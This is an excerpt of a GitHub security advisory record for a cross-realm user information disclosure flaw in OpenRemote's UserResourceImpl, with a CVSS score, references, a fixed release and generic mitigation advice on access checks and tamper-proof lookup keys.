"id": "GHSA-xqr9-4wvv-gvch",
"modified": "2026-10-13T16:08:40Z",
"published": "2026-07-06T20:47:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openremote/core/security/advisories/GHSA-xqr9-4wvv-gvch"
},
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/commit/de89b8d3af272d717bf297934c2cbc97243f08b7"
},
{
"type": "PACKAGE",
"url": "https://github.com/openremote/core"
},
{
"type": "WEB",
"url": "https://github.com/openremote/core/releases/tag/1.24.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl"
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.